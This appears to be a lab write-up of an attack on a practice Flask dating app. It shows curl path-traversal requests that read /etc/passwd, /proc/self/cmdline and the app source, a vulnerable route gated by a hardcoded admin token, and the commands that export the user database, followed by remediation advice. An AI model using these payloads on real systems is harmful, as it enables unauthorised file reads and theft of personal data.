Unauthenticated LFI to hardcoded admin API and database export
Intermediate web engagement: dating-app layout API accepted path traversal without auth; /proc and app source leaked a static admin token used to export the full SQLite user database.
- Case files
- Unauthenticated LFI to hardcoded admin API and database export
Theme layout fetches on port 5000 were LFI. Reading the Python entrypoint exposed CUPID_MASTER_KEY_2024_XOXO; that header unlocked a full DB export.
Path traversal on fetch_layout returned /etc/passwd without authentication.
Hardcoded X-Valentine-Token unlocked send_file of the SQLite database.
Engagement summary
Theme layout fetches on port 5000 were LFI. Reading the Python entrypoint exposed CUPID_MASTER_KEY_2024_XOXO; that header unlocked a full DB export.
VALENFIND ran a Flask dating app on TCP 5000. After registration, profile theme changes called /api/fetch_layout?layout=theme_classic.html. The layout parameter accepted ../../../../etc/passwd without a session cookie. /proc/self/cmdline located /opt/Valenfind/app.py; reading that source disclosed ADMIN_API_KEY and an /api/admin/export_db route gated only by X-Valentine-Token. Presenting the hardcoded key downloaded cupid.db with the full users table.
Business impact
Unauthenticated LFI is source and secret disclosure. Hardcoded admin tokens turn file read into bulk PII export. Resolve layouts against an allowlist, require authenticated sessions on every API, and store admin secrets in a vault — never in application source.
Layout parameter LFI
Path traversal on fetch_layout returned /etc/passwd without authentication.
OPERATOR · LFI
savvy@lab:~$ curl -s 'http://10.48.151.100:5000/api/fetch_layout?layout=../../../../etc/passwd' | head
root:x:0:0:root:/root:/bin/bash
...
savvy@lab:~$ curl -s 'http://10.48.151.100:5000/api/fetch_layout?layout=../../../../proc/self/cmdline' -o cmdline.bin && tr '\0' ' ' < cmdline.bin
/usr/bin/python3 /opt/Valenfind/app.py
Source leak and admin DB export
Hardcoded X-Valentine-Token unlocked send_file of the SQLite database.
SOURCE · app.py
app.py
ADMIN_API_KEY = "CUPID_MASTER_KEY_2024_XOXO"
DATABASE = "cupid.db"
@app.route("/api/admin/export_db")
def export_db():
if request.headers.get("X-Valentine-Token") == ADMIN_API_KEY:
return send_file(DATABASE, as_attachment=True)
return jsonify({"error": "Forbidden"}), 403OPERATOR · EXPORT
savvy@lab:~$ curl -s 'http://10.48.151.100:5000/api/fetch_layout?layout=../../../../opt/Valenfind/app.py' | head -n 40
savvy@lab:~$ curl -H "X-Valentine-Token: CUPID_MASTER_KEY_2024_XOXO" http://10.48.151.100:5000/api/admin/export_db -o valenfind.db
savvy@lab:~$ sqlite3 valenfind.db 'SELECT email, role FROM users;'
# full user table exported
Remediation
Map layout names to files on disk; never concatenate user input into paths. Rotate the leaked admin token, require MFA for export endpoints, and keep PII exports audited.